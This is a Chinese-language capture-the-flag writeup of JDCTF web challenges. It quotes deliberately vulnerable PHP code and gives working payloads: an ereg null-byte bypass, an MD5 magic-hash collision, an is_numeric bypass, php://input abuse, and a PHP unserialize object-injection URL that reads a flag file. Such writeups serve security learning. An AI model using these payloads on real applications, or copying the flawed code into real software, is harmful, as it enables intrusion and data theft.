JDCTF-web writeup

  • 2019 年 10 月 8 日
  • 筆記

看了就要关注我,喵呜~

偶然看到的刷一刷

签到题~

进入题目

既然签到题F12一下

真的发现了,有提示打开那个js

跑一下就有flag了

你知道正则么?

源码审计

<?php  highlight_file(__FILE__);  include('flag.php');  if (isset ($_GET['jdctf'])) {      if (@ereg ("^[1-9]+$", $_GET['jdctf']) === FALSE)          echo "must input number!";      else if (strpos ($_GET['jdctf'],'#biubiubiu') !==FALSE)          die('FLAG:'.$flag);      else          echo 'try again';  }  ?>

总共两个判断 第一个函数是 ereg可以用%00绕过 第二个函数 strpos用来判断该字符串中有没有 #biubiubiu 因为#在url中有特殊含义所以得用url编码 payload: http://jdctfweb.ngrok.xiaomiqiu.cn/web3-re/?jdctf=123%00%23biubiubiu

还记得hash么?

还是源码

<?php  error_reporting(0);  include_once('flag.php');  highlight_file('index.php');    $md51 = md5('QNKCDZO');  $a = $_GET['b'];  $md52 = md5($a);  if(isset($a)){  if ($a != 'QNKCDZO' && $md51 == $md52) {      echo $flag;  } else {      echo "false!!!";  }}  ?>

很简单呀=。= 就是拿一个经常用的 240610708

皮皮更健康~

进题目

进入之后 发现是jsfuck

跑一下 出来一串 3D45353D39333D38383D45353D39333D38383D45353D39333D38383D45353D39333D38382C3D45343D42443D41303D45383D41323D41423D45393D41413D39373D45343D42413D38362C3D0A3D45343D42383D38443D45363D39383D41463D45383D42463D39393D45343D42383D41412C3D45353D42303D42313D45393D39373D41453D45343D42443D41303D45383D41373D41333D0A3D45343D42413D38363D45353D38443D38413D45353D41343D41393D45363D42303D39343D45343D42383D38443D45363D42303D3934不知道啥编码了=。= 16进制解一下

=E5=93=88=E5=93=88=E5=93=88=E5=93=88,=E4=BD=A0=E8=A2=AB=E9=AA=97=E4=BA=86,=n=E4=B8=8D=E6=98=AF=E8=BF=99=E4=B8=AA,=E5=B0=B1=E9=97=AE=E4=BD=A0=E8=A7=A3=n=E4=BA=86=E5=8D=8A=E5=A4=A9=E6=B0=94=E4=B8=8D=E6=B0=94 (让我觉得是misc) 解出来也不知道是啥拖到百度搜索一下

可以看到是 Quoted-printable编码 之前一直没碰到过=。=

解一下好气啊。。。。再看看题 F12 fuck。。

%3D就是等号还是一个 Quoted-printable编码

这里有http://ctf.ssleye.com/cvencode.html

119,104,49,116,101,95,49,115,95,115,48,95,104,52,110,100,115,48,109,69 有完没完了。。。一看就知道是ascii码

233333

z

在头里面发现一个hint 16进制的解一下是 MRWWY5DGM46T2=== 突然看到url 里面有一个look-misc又是misc吗。。。 三个等号 base32解一下 出来是 dmltfg== base64再解一下

vim有两个特性

  1. vim备份文件 默认情况下使用Vim编程,在修改文件后系统会自动生成一个带~的备份文件,某些情况下可以对其下载进行查看; index.php普遍意义上的首页,输入域名不一定会显示。 它的备份文件则为index.php~
  2. vim临时文件 vim中的swp即swap文件,在编辑文件时产生,它是隐藏文件,如果原文件名是submit,则它的临时文件 .submit.swp。如果文件正常退出,则此文件自动删除。

找了很久在index.php~发现了。。 源码

<?php  header('content-type:text/html;charset=utf-8');  include './flag.php';  error_reporting(0);  if(empty($_GET['id'])){      header('location:./1ndex.php');  }else{      $id = $_GET['id'];      if (!is_numeric($id)) {          $id = intval($id);          switch ($id) {              case $id>=0:                  echo "蹇嚭鍘诲惂锛岃蛋閿欒矾浜嗭綖锝烇綖<br>";                  echo "杩欎箞绠€鍗曢兘涓嶄細涔堬紵";                  break;              case $id>=10:                  exit($flag);                  break;              default:                  echo "浣犺蛋涓嶅埌杩欎竴姝ョ殑!";                  break;          }      }  }    ?>

这样就过了

is_numeric只要后面加任何除数字之外的字母或者符号即可绕过 不过我做的时候发现他的代码和备份好像不一样23333 id为0的时候出来的是flag

PHP

F12源码 23333我喜欢

$user = $_GET["user"];  $file = $_GET["file"];  $pass = $_GET["pass"];    if(isset($user)&&(file_get_contents($user,'r')==="the user is admin")){      echo "hello admin!<br>";      include($file); //class.php  }else{      echo "you are not admin ! ";  }

file_get_contents出来的内容要和 the userisadmin相等用php的伪协议php://input post里面放 the user is admin

用伪协议读一下class.php的代码

<?php    class Read{//f1a9.php      public $file;      public function __toString(){          if(isset($this->file)){              echo file_get_contents($this->file);          }          return "__toString was called!";      }  }  ?>

反序列化 f1a9.php读不到 读一下index.php的代码

<?php  $user = @$_GET["user"];  $file = @$_GET["file"];  $pass = @$_GET["pass"];    if(isset($user)&&(file_get_contents($user,'r')==="the user is admin")){      echo "hello admin!<br>";      if(preg_match("/f1a9/",$file)){          exit();      }else{          include($file); //class.php          $pass = unserialize($pass);          echo $pass;      }  }else{      echo "you are not admin ! ";  }    ?>    <!--  $user = $_GET["user"];  $file = $_GET["file"];  $pass = $_GET["pass"];    if(isset($user)&&(file_get_contents($user,'r')==="the user is admin")){      echo "hello admin!<br>";      include($file); //class.php  }else{      echo "you are not admin ! ";  }   -->

原来是因为有一个f1a9的waf怪不得读不到 只要构造一个反序列化 来输出flag

构造反序列化 得用file把class.php导入然后才能使用read类 http://jdctfweb.ngrok.xiaomiqiu.cn/web6-php/?user=php://input&file=class.php&pass=O:4:"Read":1:{s:4:"file";s:8:"f1a9.php";}